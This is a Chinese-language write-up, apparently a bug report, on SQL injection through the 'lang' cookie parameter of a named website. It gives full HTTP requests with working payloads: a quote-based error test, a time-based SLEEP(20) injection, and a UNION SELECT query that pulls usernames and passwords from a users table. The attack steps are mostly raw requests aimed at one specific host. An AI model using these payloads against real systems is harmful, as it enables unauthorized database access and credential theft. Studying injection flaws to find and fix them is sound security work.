通過cookie中的參數所引發的sql注入
前言
在請求的cookie參數中,有一個名為lang的參數存在SQL注入漏洞。
在這個參數中注入一個單引號(')時,會引發SQL語法錯誤;而注入第二個單引號后,錯誤會消失。這表明參數中的輸入沒有正確地進行轉義或過濾,從而使得惡意的SQL代碼得以執行。
正文
正常情況下和受到攻擊時的請求示例:
GET /index.php/search/default?t=1&x=0&y=0 HTTP/1.1
Host: mtn.com.ye
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=86ce3d04baa357ffcacf5d013679b696; lang=en; _ga=GA1.3.1859249834.1576704214; _gid=GA1.3.1031541111.1576704214; _gat=1; _gat_UA-44336198-10=1
Upgrade-Insecure-Requests: 1
受到sql注入攻擊時候的請求
GET /index.php/search/default?t=1&x=0&y=0 HTTP/1.1
Host: mtn.com.ye
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=86ce3d04baa357ffcacf5d013679b696; lang=en'; _ga=GA1.3.1859249834.1576704214; _gid=GA1.3.1031541111.1576704214; _gat=1; _gat_UA-44336198-10=1
Upgrade-Insecure-Requests: 1
報錯如下:
當然也可以使用 查詢語句:
'%2b(select*from(select(sleep(20)))a)%2b'
將構造好的查詢注入到原始的HTTP請求中,發送給目標服務器。注入點是請求的cookie參數lang:
GET /index.php/search/default?t=1&x=0&y=0 HTTP/1.1
Host: mtn.com.ye
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=86ce3d04baa357ffcacf5d013679b696; lang=en%2b(select*from(select(sleep(20)))a)%2b; _ga=GA1.3.1859249834.1576704214; _gid=GA1.3.1031541111.1576704214; _gat=1; _gat_UA-44336198-10=1
Upgrade-Insecure-Requests: 1
發送請求后,觀察服務器的響應時間。如果服務器在處理請求時出現明顯的延遲(如20秒),則表明注入的查詢被服務器執行了。這個時間延遲是由SQL中的SLEEP(20)函數引起的。
確認sql注入存在以后 ,進行漏洞利用
攻擊者可以構造各種惡意SQL查詢來竊取或修改數據。例如,通過以下查詢來竊取用戶信息:
' UNION SELECT username, password FROM users --
發送惡意請求 攻擊者將惡意查詢注入到lang參數中,并發送請求:
GET /index.php/search/default?t=1&x=0&y=0 HTTP/1.1
Host: mtn.com.ye
Cookie: PHPSESSID=86ce3d04baa357ffcacf5d013679b696; lang=en' UNION SELECT username, password FROM users -- ; _ga=GA1.3.1859249834.1576704214; _gid=GA1.3.1031541111.1576704214; _gat=1; _gat_UA-44336198-10=1
攻擊者檢查服務器的響應,查看是否包含用戶數據。如果成功,攻擊者就能夠獲取數據庫中的敏感信息。
該文章在 2024/7/23 21:39:14 編輯過